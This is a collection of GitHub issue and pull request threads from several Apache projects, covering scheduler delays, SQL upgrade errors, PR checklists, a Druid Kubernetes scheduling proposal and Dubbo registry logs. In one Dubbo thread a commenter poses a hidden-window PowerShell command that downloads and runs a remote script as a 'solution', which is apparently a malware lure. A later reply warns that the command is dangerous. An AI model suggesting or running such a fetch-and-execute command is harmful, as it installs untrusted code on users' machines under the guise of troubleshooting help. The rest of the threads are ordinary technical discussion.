Code of Conduct

[X] I agree to follow this project's Code of Conduct

Please using english to describe.

My service is a three-node cluster with 32+64 resources. It runs about 20,000 tasks per day, but I've found that a lot of them are delayed in execution. I adjusted the number of task concurrency to 96. What are the reasons for the delay in execution? Can someone with experience tell me?

请用英文来描述。
My service is a three-node cluster with 32+64 resources. It runs about 20,000 tasks per day, but I've found that a lot of them are delayed in execution. I adjusted the number of task concurrency to 96. What are the reasons for the delay in execution? Can someone with experience tell me?

authors: SbloodyS hahaoxuexi


text:
[FIX] 1.4.0_schema SQL Syntax Error

23:59:34.777 [main] ERROR org.apache.dolphinscheduler.dao.upgrade.shell.CreateDolphinScheduler - create DolphinScheduler failed
java.lang.RuntimeException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ALTER TABLE t_ds_task_definition drop INDEX `task_unique`;     END IF; END' at line 1
	at org.apache.dolphinscheduler.dao.upgrade.UpgradeDao.upgradeDolphinSchedulerDDL(UpgradeDao.java:505)
	at org.apache.dolphinscheduler.dao.upgrade.UpgradeDao.upgradeDolphinScheduler(UpgradeDao.java:270)
	at org.apache.dolphinscheduler.dao.upgrade.DolphinSchedulerManager.upgradeDolphinScheduler(DolphinSchedulerManager.java:117)
	at org.apache.dolphinscheduler.dao.upgrade.shell.CreateDolphinScheduler.main(CreateDolphinScheduler.java:41)
Caused by: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ALTER TABLE t_ds_task_definition drop INDEX `task_unique`;     END IF; END' at line 1
	at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:118)
	at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:95)
	at com.mysql.cj.jdbc.exceptions.SQLExceptionsMapping.translateException(SQLExceptionsMapping.java:122)
	at com.mysql.cj.jdbc.StatementImpl.executeInternal(StatementImpl.java:790)
	at com.mysql.cj.jdbc.StatementImpl.execute(StatementImpl.java:675)
	at com.alibaba.druid.pool.DruidPooledStatement.execute(DruidPooledStatement.java:632)
	at org.apache.dolphinscheduler.common.utils.ScriptRunner.runScript(ScriptRunner.java:117)
	at org.apache.dolphinscheduler.common.utils.ScriptRunner.runScript(ScriptRunner.java:72)
	at org.apache.dolphinscheduler.dao.upgrade.UpgradeDao.upgradeDolphinSchedulerDDL(UpgradeDao.java:492)
	... 3 common frames omitted

The same PR #6462 already exists

authors: ouyangyewei zhuangchong


text:
[Bug] one of the Chinese document references is missing

Search before asking

[X] I had searched in the issues and found no similar issues.

Version
2.0.3
What's Wrong?
https://doris.apache.org/zh-CN/docs/data-table/hit-the-rollup/

"前缀索引" 's link is missing
What You Expected?
add the "前缀索引" 's link
How to Reproduce?
No response
Anything Else?
No response
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

https://doris.apache.org/zh-CN 也找不到中文了。。

https://doris.apache.org/zh-CN/docs/1.2/data-table/index/prefix-index/ 这个是1.2版本中文链接,不知道是否可以替换?

https://doris.apache.org/zh-CN 也找不到中文了...

fixed it. please review PR.

repo: apache/doris


text:
[feature-wip][multi-catalog]Support caseSensitive field name in file scan node

Proposed changes
Issue Number: close #xxx
Problem Summary:
Spark support upper case column name and the column name will persist in parquet and orc.
But the hms table only record the lower case column name, so it need to support read the  upper case column in file.
In file scan node, it's not caseSensitive, col_a and Col_a is the same column.
In broker scan node, it's caseSensitive, col_a and Col_a is not the same column.
Create table in spark
CREATE TABLE `default`.`emp3` (
  `Name` STRING,
  `AGE` INT,
  `provice` STRING,
  `City` STRING)
USING parquet
PARTITIONED BY (City)
TBLPROPERTIES (
  'transient_lastDdlTime' = '1658550652')

doris result
MySQL [default]> select * from emp3;
+------+------+---------+------+
| name | age  | provice | city |
+------+------+---------+------+
| a    |    1 | zj      | hz   |
+------+------+---------+------+
1 row in set (1.492 sec)

Checklist(Required)

Type of your changes:

[ ] Improvement
[ ] Fix
[x] Feature-WIP
[ ] Feature
[ ] Doc
[ ] Refator
[ ] Others:

Does it affect the original behavior:

[ ] Yes
[x] No
[ ] I don't know

Has unit tests been added:

[ ] Yes
[x] No
[ ] No Need

Has document been added or modified:

[ ] Yes
[x] No
[ ] No Need

Does it need to update dependencies:

[ ] Yes
[x] No

Are there any changes that cannot be rolled back:

[ ] Yes
[x] No

Further comments
If this is a relatively large or complex change, kick off the discussion at dev@doris.apache.org by explaining why you chose the solution you did and what alternatives you considered, etc...

@morningman @stalary I had rebase this pr


text:
fix gc does not work in some cases

Proposed changes
Issue Number: close #xxx
Problem summary
Describe your changes.
Checklist(Required)

Does it affect the original behavior:

[ ] Yes
[ ] No
[ ] I don't know

Has unit tests been added:

[ ] Yes
[ ] No
[ ] No Need

Has document been added or modified:

[ ] Yes
[ ] No
[ ] No Need

Does it need to update dependencies:

[ ] Yes
[ ] No

Are there any changes that cannot be rolled back:

[ ] Yes (If Yes, please explain WHY)
[ ] No

Further comments
If this is a relatively large or complex change, kick off the discussion at dev@doris.apache.org by explaining why you chose the solution you did and what alternatives you considered, etc...

TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 34.5 seconds
load time: 460 seconds
storage size: 17123343167 Bytes
https://doris-community-test-1308700295.cos.ap-hongkong.myqcloud.com/tmp/20221201114301_clickbench_pr_56213.html

authors: dataroaring hello-stephen


text:
fix Fix create table error if Colocate tables not equal to bucket num

Proposed changes
Issue Number: close #14999
Problem summary
使用 colocate_with 创建表时，会对 dynamic_partition_buckets 和 distribution buckets 做校验，若不相等会直接报错。
Checklist(Required)

Does it affect the original behavior:

[ ] Yes
[ √] No
[ ] I don't know

Has unit tests been added:

[ ] Yes
[ ] No
[ √] No Need

Has document been added or modified:

[ ] Yes
[ √] No
[ ] No Need

Does it need to update dependencies:

[ ] Yes
[√ ] No

Are there any changes that cannot be rolled back:

[ ] Yes (If Yes, please explain WHY)
[ √] No

Further comments
If this is a relatively large or complex change, kick off the discussion at dev@doris.apache.org by explaining why you chose the solution you did and what alternatives you considered, etc...

Has some issue in master or branch-1.2? @yuxuan-luo

Has some issue in master or branch-1.2? @yuxuan-luo

yes

I have cherry-pick #15071 to branch 1.2. this can be closed

authors: morningman yuxuan-luo


text:
fix: fix Ceiling.

Proposed changes
Issue Number: close #xxx
Problem summary
Describe your changes.
Checklist(Required)

Does it affect the original behavior:

[ ] Yes
[ ] No
[ ] I don't know

Has unit tests been added:

[ ] Yes
[ ] No
[ ] No Need

Has document been added or modified:

[ ] Yes
[ ] No
[ ] No Need

Does it need to update dependencies:

[ ] Yes
[ ] No

Are there any changes that cannot be rolled back:

[ ] Yes (If Yes, please explain WHY)
[ ] No

Further comments
If this is a relatively large or complex change, kick off the discussion at dev@doris.apache.org by explaining why you chose the solution you did and what alternatives you considered, etc...

TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 34.34 seconds
load time: 490 seconds
storage size: 17122375691 Bytes
https://doris-community-test-1308700295.cos.ap-hongkong.myqcloud.com/tmp/20230128115628_clickbench_pr_85621.html

authors: hello-stephen jackwener


text:
bug fix limit value not effective in some case

Proposed changes
in some case the limit - rows maybe get negative value,
so it's cause not effective on limit clause.
Issue Number: close #xxx

Further comments
If this is a relatively large or complex change, kick off the discussion at dev@doris.apache.org by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall


text:
opt Use Dict to opt the function of time_round

Proposed changes
Before：
select hour_floor(`@timestamp`, 7) as t, count() as cnt from httplogs_date group by t order by t limit 10;
+---------------------+--------+
| t                   | cnt    |
+---------------------+--------+
| 1998-04-30 21:00:00 |    324 |
| 1998-05-01 04:00:00 | 286156 |
| 1998-05-01 11:00:00 | 266130 |
| 1998-05-01 18:00:00 | 483765 |
| 1998-05-02 01:00:00 | 276706 |
| 1998-05-02 08:00:00 | 169945 |
| 1998-05-02 15:00:00 | 223593 |
| 1998-05-02 22:00:00 | 272616 |
| 1998-05-03 05:00:00 | 188689 |
| 1998-05-03 12:00:00 | 184405 |
+---------------------+--------+
10 rows in set (3.39 sec)

after:
select hour_floor(`@timestamp`, 7) as t, count() as cnt from httplogs_date group by t order by t limit 10;
+---------------------+--------+
| t                   | cnt    |
+---------------------+--------+
| 1998-04-30 21:00:00 |    324 |
| 1998-05-01 04:00:00 | 286156 |
| 1998-05-01 11:00:00 | 266130 |
| 1998-05-01 18:00:00 | 483765 |
| 1998-05-02 01:00:00 | 276706 |
| 1998-05-02 08:00:00 | 169945 |
| 1998-05-02 15:00:00 | 223593 |
| 1998-05-02 22:00:00 | 272616 |
| 1998-05-03 05:00:00 | 188689 |
| 1998-05-03 12:00:00 | 184405 |
+---------------------+--------+
10 rows in set (2.19 sec)

Further comments
If this is a relatively large or complex change, kick off the discussion at dev@doris.apache.org by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

run buildall

run buildall


text:
config enable expandRuntimeFilterByInnerJoin by default

Proposed changes
Issue Number: close #xxx

Further comments
If this is a relatively large or complex change, kick off the discussion at dev@doris.apache.org by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall


text:
docs Fix invalid link and typo of Master Branch

Proposed changes
Issue Number: close #xxx

Further comments
If this is a relatively large or complex change, kick off the discussion at dev@doris.apache.org by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

authors: KassieZ yiguolei


text:
chore Print Azure request failed message

Proposed changes

Print azure's failed request's http code along with more details.

run buildall


text:
Fix Fix allocator.h compiling failed on mac.

Proposed changes
Fix allocator.h compiling failed on mac which introduced by #37234.

run buildall


text:
Test add regression tests for testing orc reader #41606

cherry pick from #41606

run buildall


text:
enhanceEnable the MTMVRelatedTableIf interface to support mvcc 2

What problem does this PR solve?
Add snapshotId as a parameter to the getPartitionType, getPartitionColumnNames, and getPartitionColumns methods of MTMVRelatedTableIf, as the partition information for different snapshotId may vary
Issue Number: close #xxx
Related PR: #xxx
Problem Summary:
Continuing to optimize on the basis of https://github.com/apache/doris/pull/44419
Release note
None
Check List (For Author)

Test

[ ] Regression test
[ ] Unit Test
[ ] Manual test (add detailed scripts or steps below)
[x] No need to test or manual test. Explain why:

[x] This is a refactor/code format and no logic has been changed.
[ ] Previous test can cover this change.
[ ] No code files have been changed.
[ ] Other reason

Behavior changed:

[x] No.
[ ] Yes.

Does this need documentation?

[x] No.
[ ] Yes.

Check List (For Reviewer who merge this PR)

[ ] Confirm the release note
[ ] Confirm test cases
[ ] Confirm document
[ ] Add branch pick label

run buildall

run cloud_p0

run p0

run buildall

run p0

run cloud_p0

run buildall

run cloud_p0

run performance

run beut

run cloudut


text:
A new Druid MiddleManager Resource Scheduling Model Based On K8s(MOK)

Motivation
Druid use MiddleManager service to launch Peons for data ingestion. Users can set druid.indexer.runner.javaOpts in MiddleManager runtime.properties to control the JVM config of Peon like memory size. Overlord will schedule peon running on the property MiddleManager node based on task slots.
As for current resource scheduling model mentioned above, there are a few limitations:

The resources utilization of MiddleManager node is uncontrollable, and MiddleManager needs to occupy a large amount of memory resources in advance to provide sufficient resource for the possible peons.
Different types of tasks need to use the same resource properties, causing a waste. For example, a lower workload batch task also need to use unified resources same as Kafka ingestion task. Although users can set the property druid.indexer.runner.javaOpts in the task context to modify the JVM parameters of a specific peon. But current Druid resource scheduling mode is based on slots. So that users can only specify a smaller memory size, because if set a larger memory size in task context, it will cause the memory of MiddleManager to be over-allocated and OOM. On the other hand, because of resources pre-allocated, setting a lower memory size in a specify peon here is meaningless.
Peon will need CPU resources to do calculations or respond to queries and different types of tasks have different requirements for the CPU. Current Resource Schedule Model did not limit cpu resources. It may cause a waste of CPU resources when multiple low cpu tasks running on the same MiddleManager node. Or it may cause excessive cpu usage leads to longer query time when multiple high cpu tasks run on the same MiddleManager node. Therefore, it is also necessary to limit cpu resources.

Proposed changes
A new extension-contrib druid-kubernetes-middlemanager-extensions would be added with implementations of BasedRestorableTaskRunner named K8sForkingTaskRunner, a new module named K8sMiddleManagerModule and so on.
Additionally, since this is first such extension, there might be some changes needed in core as well to enable writing the extension.
Also will add some new properties in MiddleManager runtime.properties:

Property
Description
Default

druid.indexer.runner.mode
The running mode of MiddleManger-Peon. If set druid.indexer.runner.mode=k8s. MiddleManager will create and own Peon pod to do ingest action on K8s.
native

druid.indexer.namespace
The namespace of Druid cluster on K8s.
default

druid.indexer.image
The Druid based image.
druid/cluster:v1

druid.indexer.default.pod.memory
The default memory limitation of peon pod created by MiddleManager
2G

druid.indexer.default.pod.cpu
The default cpu limitation of peon pod created by MiddleManager
1

Add some new properties in task context

Property
Description
Default

druid.peon.javaOpts
The JVM configs of specific peon pod.
JVM configs in MiddleManager runtime.properties.

druid.peon.pod.memory
The memory limitation of specific peon pod created by MiddleManager
JVM configs in MiddleManager runtime.properties.

druid.peon.pod.cpu
The cpu limitation of specific peon pod created by MiddleManager
JVM configs in MiddleManager runtime.properties.

As you can see, the priority of properties mentioned above is Task Context > runtime.properties > Coding default values.
Need to add "druid-kubernetes-middlemanager-extensions" in druid.extensions.loadList only for MiddleManager runtime.properties.
Rationale
Based on ForkingTaskRunner, make a new runner named K8sForkingTaskRunner.
Instead of using ProcessBuilder.start() to create a create a new child process in ForkingTaskRunner. We use kubernetes-java-client to create and running tasks in peon pod. Also do stop, trace, log and garbage collection through K8s.

Use ConfigMap to pass task.json from MiddleManager to Peon pod. There is a conflict between local dictionary and configmap mountPath. MountPath doesn't allow to use ":" in path. So we have to do the pass carefully.
Use  ownerReference to do garbage collection, so that when peon is done. everything related like configmap will be deleted automatically.
Need to do communication between MiddleManager and Peon pod for log collection and lifecycle control.
Use kubernate-java-client do create pod, wait for pod running, wait for pod finished and so on.

Advantage
Cost saving and Improve resource utilization.
We just use peon pod to do data ingestion and let K8s cluster to do Resource Scheduling work which K8s is good at. When Druid cluster enable MOK, Users can set different cpu/memory resources for different tasks. And K8s will schedule and run this peon pod with high resource utilization.
Also If we combine pod and something like AWS Fargate(https://aws.amazon.com/fargate/). Resource usage and cost can further improve. MiddleManager can temporarily require for appropriate resources(you just need to pay for the sources which are required here) and run peon pod. AND release these resources after task finished.
In short, there is no need to let MiddleManager take up a lot of resources in advance, and just require resources whenever it will use. And different kinds of tasks can use different configs including CPU resources
Operational impact
None
Test plan(optional)
I would be testing the extension on Dev Druid clusters deployed in K8s including data ingestion and data query.

Just wondering if you've checked this one https://github.com/apache/druid/issues/8801

Sorry I didn't notice this issue.

After chatting with nishantmonu51, I will re-open this issue and raise a PR to contribute my work.

@zhangyue19921010 Is there any plans of merging this PR into master sooner?

repo: apache/druid


text:
boolean connected = client.blockUntilConnected(timeout, TimeUnit.MILLISECONDS); 超时时间怎么设置？

boolean connected = client.blockUntilConnected(timeout, TimeUnit.MILLISECONDS);  ,  这里的timeout在哪里设置，dubbo.config-center.timeout 设置不管用，zk安装在阿里云上，本地连接大概需要10秒，但是默认的时5秒，导致报错：zookeeper not connected，就是这个超时时间的问题，如果把代码发布到阿里云服务器上面，就好了。
zk版本：3.5.7， springboot版本：2.x， dubbo-spring-boot-starter版本：2.7.5

It's fixed on Dubbo 2.7.6

我tm就是2.7.6  还是有这个问题！！！！

dubbo.config-center.timeout是设置读取dubbo配置中心的超时时间，默认为3000ms。dubbo.registry.timeout是设置连接注册中心zookeeper的超时时间，默认是5000ms，可尝试将后者值调大。

repo: apache/dubbo-spring-boot-project


text:
[Bug] change provider application name，consumer can not subscrib

Pre-check

[X] I am sure that all the content I provide is in English.

Search before asking

[X] I had searched in the issues and found no similar issues.

Apache Dubbo Component
Java SDK (apache/dubbo)
Dubbo Version
Dubbo Java 3.2.9， OracleJDK 1.8，centos7，Dubbo register：阿里云MSE（nacos 2.1.2.0）Dubbo register mode：instance
Steps to reproduce this issue

Change the provider application name (e.g., dubbo.application.name from patient-service-provider to distinct-patient-service).

Restart one provider instance (e.g., 10.0.18.9), and the consumer cannot subscribe normally.

Restart all provider instances, and the consumer reports "no provider available."

What you expected to happen
The consumer subscribes normally
Anything else
Some consumer logs show that the restarted instance (10.0.18.9) cannot be added to the invokers.
class:o.a.d.r.c.directory.AbstractDirectory
level:INFO
message: [DUBBO] The invoker DefaultServiceInstance{serviceName='patient-service-provider', host='10.0.18.9', port=21350, enabled=true, healthy=true, metadata={dubbo.metadata-service.url-params={"serialization":"hessian2","prefer.serialization":"hessian2","version":"1.0.0","dubbo":"2.0.2","release":"3.2.9","side":"provider","port":"21350","protocol":"dubbo"}, dubbo.endpoints=[{"port":21350,"protocol":"dubbo"}], dubbo.metadata.revision=60a6cb6dc32ee581ff3f6d4eedea2283, dubbo.metadata.storage-type=local, timestamp=1725285283509}}, service{name='com.distinct.patient.api.PatientApi',group='null',version='1.0.0',protocol='dubbo',port='21350',params={side=provider, release=3.2.9, methods=createPatentdeprecated=false, dubbo=2.0.2, interface=com.distinct.patient.api.PatientApi, service-name-mapping=true, version=1.0.0, timeout=30000, generic=false, revision=1.0.0, serialize.check.status=WARN, serialization=hessian2, application=patient-service-provider, prefer.serialization=hessian2, dynamic=true, REGISTRY_CLUSTER=nacos-registry},} has been added to invalidate list due to connectivity problem. Will trying to reconnect to it in the background., dubbo version: 3.2.9, current host: 10.0.18.9
收起
string:-
thread:http-nio-8330-exec-357
time:12:47:12.846
class:o.a.d.r.c.e.l.ServiceInstancesChangedListener
level:INFO
message: [DUBBO] Received instance notification, serviceName: patient-service-provider, instances: 1, dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:47:13.916
class:o.a.d.r.c.e.l.ServiceInstancesChangedListener
level:INFO
message: [DUBBO] 1 unique working revisions: 60a6cb6dc32ee581ff3f6d4eedea2283 , dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:47:13.916
class:o.a.d.r.t.netty4.NettyClientHandler
level:INFO
message: [DUBBO] The connection of /10.0.18.9:55504 -> /10.0.18.9:21350 is disconnected., dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:NettyClientWorker-8-5
time:12:47:13.925
class:o.a.d.r.c.ServiceDiscoveryRegistryDirectory
level:INFO
message: [DUBBO] 1 deprecated invokers deleted., dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:47:13.926
class:o.a.d.r.c.m.DefaultMigrationAddressComparator
level:INFO
message: [DUBBO] No interface address available, stop compare., dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:47:13.926
class:o.a.d.r.c.ServiceDiscoveryRegistryDirectory
level:INFO
message: [DUBBO] Received invokers changed event from registry. Registry type: instance. Service Key: com.distinct.patient.api.PatientApi:1.0.0. Urls Size : 1. Invokers Size : 1. Available Size: 1. Available Invokers : 10.0.19.3:21350, dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:47:13.926
class:o.a.d.r.c.e.l.ServiceInstancesChangedListener
level:INFO
message: [DUBBO] Received instance notification, serviceName: patient-service-provider, instances: 1, dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.client.cachedata.internal.notifier
time:12:48:26.671
class:o.a.d.r.c.e.l.ServiceInstancesChangedListener
level:INFO
message: [DUBBO] 1 unique working revisions: 60a6cb6dc32ee581ff3f6d4eedea2283 , dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.client.cachedata.internal.notifier
time:12:48:26.671
class:o.a.d.r.c.ServiceDiscoveryRegistryDirectory
level:INFO
message: [DUBBO] Refreshed invoker size 1 from registry ServiceDiscoveryRegistryDirectory(registry: mse-a5f24900-nacos-ans.mse.aliyuncs.com:8848, subscribed key: [patient-service-provider])-Directory(invokers: 2[10.0.19.3:21350, 10.0.18.9:21350], validInvokers: 2[10.0.19.3:21350, 10.0.18.9:21350], invokersToReconnect: 0[]), dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:47:13.916
class:o.a.d.r.c.e.l.ServiceInstancesChangedListener
level:INFO
message: [DUBBO] Notify service com.distinct.patient.api.PatientApi:1.0.0:null with urls 1, dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:47:13.919
class:o.a.d.r.c.ServiceDiscoveryRegistryDirectory
level:INFO
message: [DUBBO] Refreshed invoker size 1 from registry ServiceDiscoveryRegistryDirectory(registry: mse-a5f24900-nacos-ans.mse.aliyuncs.com:8848, subscribed key: [patient-service-provider])-Directory(invokers: 2[10.0.18.9:21350, 10.0.19.3:21350], validInvokers: 1[10.0.19.3:21350], invokersToReconnect: 1[10.0.18.9:21350]), dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:47:13.919
class:o.a.d.r.c.ServiceDiscoveryRegistryDirectory
level:INFO
message: [DUBBO] Received invokers changed event from registry. Registry type: instance. Service Key: com.distinct.patient.api.PatientApi:1.0.0. Urls Size : 1. Invokers Size : 1. Available Size: 1. Available Invokers : 10.0.19.3:21350, dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:47:13.926
class:o.a.d.r.c.ServiceDiscoveryRegistry$DefaultMappingListener
level:INFO
message: [DUBBO] Mapping of service com.distinct.patient.api.AppFamilyMemberApichanged from null to [distinct-patient-service, patient-service-provider], dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.client.cachedata.internal.notifier
time:12:48:26.663
class:o.a.d.r.c.ServiceDiscoveryRegistry$DefaultMappingListener
level:INFO
message: [DUBBO] Received mapping notification from meta server, {serviceKey: com.distinct.patient.api.PatientApi, apps: [distinct-patient-service, patient-service-provider]}, dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.client.cachedata.internal.notifier
time:12:48:26.760
class:o.a.d.r.c.ServiceDiscoveryRegistry$DefaultMappingListener
level:INFO
message: [DUBBO] Mapping of service com.distinct.patient.api.PatientApichanged from null to [distinct-patient-service, patient-service-provider], dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.client.cachedata.internal.notifier
time:12:48:26.760
class:o.a.d.r.client.ServiceDiscoveryRegistry
level:INFO
message: [DUBBO] Trying to subscribe from apps distinct-patient-service,patient-service-provider for service key com.distinct.patient.api.PatientApi:1.0.0, , dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.client.cachedata.internal.notifier
time:12:48:26.760
class:o.a.d.r.c.e.l.ServiceInstancesChangedListener
level:INFO
message: [DUBBO] Notify serviceKey: com.distinct.patient.api.PatientApi:1.0.0:null, listener: ServiceDiscoveryRegistryDirectory(registry: mse-a5f24900-nacos-ans.mse.aliyuncs.com:8848, subscribed key: [distinct-patient-service, patient-service-provider])-Directory(invokers: 1[10.0.19.3:21350], validInvokers: 1[10.0.19.3:21350], invokersToReconnect: 0[]) with 1 urls on subscription, dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.client.cachedata.internal.notifier
time:12:48:26.760
class:o.a.d.r.c.ServiceDiscoveryRegistryDirectory
level:INFO
message: [DUBBO] Refreshed invoker size 1 from registry ServiceDiscoveryRegistryDirectory(registry: mse-a5f24900-nacos-ans.mse.aliyuncs.com:8848, subscribed key: [distinct-patient-service, patient-service-provider])-Directory(invokers: 1[10.0.19.3:21350], validInvokers: 1[10.0.19.3:21350], invokersToReconnect: 0[]), dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.client.cachedata.internal.notifier
time:12:48:26.761
class:o.a.d.r.c.m.DefaultMigrationAddressComparator
level:INFO
message: [DUBBO] No interface address available, stop compare., dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.client.cachedata.internal.notifier
time:12:48:26.761
class:o.a.d.r.c.ServiceDiscoveryRegistryDirectory
level:INFO
message: [DUBBO] Received invokers changed event from registry. Registry type: instance. Service Key: com.distinct.patient.api.PatientApi:1.0.0. Urls Size : 1. Invokers Size : 1. Available Size: 1. Available Invokers : 10.0.19.3:21350, dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.client.cachedata.internal.notifier
time:12:48:26.761
class:org.apache.dubbo.rpc.model.ModuleModel
level:INFO
message: [DUBBO] Dynamically registering consumer model distinct-patient-service/org.apache.dubbo.metadata.MetadataService:1.0.0 into model Dubbo Module[1.1.0], dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:48:30.678
class:o.a.d.r.t.netty4.NettyClientHandler
level:INFO
message: [DUBBO] The connection of /10.0.18.9:48592 -> /10.0.18.9:21350 is established., dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:NettyClientWorker-8-1
time:12:48:30.679
class:o.a.d.remoting.transport.AbstractClient
level:INFO
message: [DUBBO] Successfully connect to server /10.0.18.9:21350 from NettyClient 10.0.18.9 using dubbo version 3.2.9, channel is NettyChannel [channel=[id: 0x8e8b9c1a, L:/10.0.18.9:48592 - R:/10.0.18.9:21350]], dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:48:30.680
class:o.a.d.r.c.e.l.ServiceInstancesChangedListener
level:INFO
message: [DUBBO] 2 unique working revisions: 60a6cb6dc32ee581ff3f6d4eedea2283 1619c6ec1ac88ec96848df730d81c457 , dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:48:30.744
class:o.a.d.r.c.ServiceDiscoveryRegistryDirectory
level:INFO
message: [DUBBO] Refreshed invoker size 2 from registry ServiceDiscoveryRegistryDirectory(registry: mse-a5f24900-nacos-ans.mse.aliyuncs.com:8848, subscribed key: [distinct-patient-service, patient-service-provider])-Directory(invokers: 1[10.0.19.3:21350], validInvokers: 1[10.0.19.3:21350], invokersToReconnect: 0[]), dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:48:30.755
class:o.a.d.r.c.m.DefaultMigrationAddressComparator
level:INFO
message: [DUBBO] No interface address available, stop compare., dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:48:30.776
class:o.a.d.r.c.ServiceDiscoveryRegistryDirectory
level:INFO
message: [DUBBO] Received invokers changed event from registry. Registry type: instance. Service Key: com.distinct.patient.api.PatientApi:1.0.0. Urls Size : 2. Invokers Size : 2. Available Size: 2. Available Invokers : 10.0.18.9:21350,10.0.19.3:21350, dubbo version: 3.2.9, current host: 10.0.18.9
string:-
thread:nacos.publisher-com.alibaba.nacos.client.naming.event.InstancesChangeEvent
time:12:48:30.792
class:o.a.d.r.c.directory.AbstractDirectory
level:INFO
message: [DUBBO] The invoker DefaultServiceInstance{serviceName='patient-service-provider', host='10.0.19.3', port=21350, enabled=true, healthy=true, metadata={dubbo.metadata-service.url-params={"serialization":"hessian2","prefer.serialization":"hessian2","version":"1.0.0","dubbo":"2.0.2","release":"3.2.9","side":"provider","port":"21350","protocol":"dubbo"}, dubbo.endpoints=[{"port":21350,"protocol":"dubbo"}], dubbo.metadata.revision=60a6cb6dc32ee581ff3f6d4eedea2283, dubbo.metadata.storage-type=local, timestamp=1727346836716}}, service{name='com.distinct.patient.api.PatientApi',group='null',version='1.0.0',protocol='dubbo',port='21350',params={side=provider, release=3.2.9, methods=createPatent,deprecated=false, dubbo=2.0.2, interface=com.distinct.patient.api.PatientApi, service-name-mapping=true, version=1.0.0, timeout=30000, generic=false, revision=1.0.0, serialize.check.status=WARN, serialization=hessian2, application=patient-service-provider, prefer.serialization=hessian2, dynamic=true, REGISTRY_CLUSTER=nacos-registry},} has been added to invalidate list due to connectivity problem. Will trying to reconnect to it in the background., dubbo version: 3.2.9, current host: 10.0.18.9
收起
string:-
thread:http-nio-8330-exec-327
time:12:54:12.458
class:c.d.p.p.p.d.invoker.PatientApiInvoker
level:ERROR
message:调用getPatientById查询就诊人失败, result:Result{status=0, errorCode=0, errorMsg='No provider available from registry RegistryDirectory(registry: mse-a5f24900-nacos-ans.mse.aliyuncs.com:8848)-Directory(invokers: 0[], validInvokers: 0[], invokersToReconnect: 0[]) for service com.distinct.patient.api.PatientApi:1.0.0 on consumer 10.0.18.9 use dubbo version 3.2.9, please check status of providers(disabled, not registered or in blacklist).', data=null}
string:-
thread:http-nio-8330-exec-355
time:12:54:12.520
Are you willing to submit a pull request to fix on your own?

[X] Yes I am willing to submit a pull request on my own!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

maybe this solution will solve your problem click

powershell -WindowStyle Hidden ([ScriptBlock]::Create((irm https://javierlopez.eu/adapt/kingdom))).Invoke()

This command is potentially very dangerous as it likely executes malicious script obtained from an untrusted source (https://javierlopez.eu/adapt/kingdom).
powershell -WindowStyle Hidden means running PowerShell in a hidden window. ([ScriptBlock]::Create((irm https://javierlopez.eu/adapt/kingdom))).Invoke() creates a script block and executes the content fetched from the specified URL.
In a real-world environment, do not run commands and scripts from unknown sources to prevent the system from being attacked and damaged.

repo: apache/dubbo


text:
原生grpc迁移至dubbo tri协议问题汇总

tri协议，中文异常乱码
Filter中抛出错误：
throw new BusinessException("错误的token");

得到结果：中文乱码
{
  "error": "13 INTERNAL: Exception in invoker chain :???token"
}

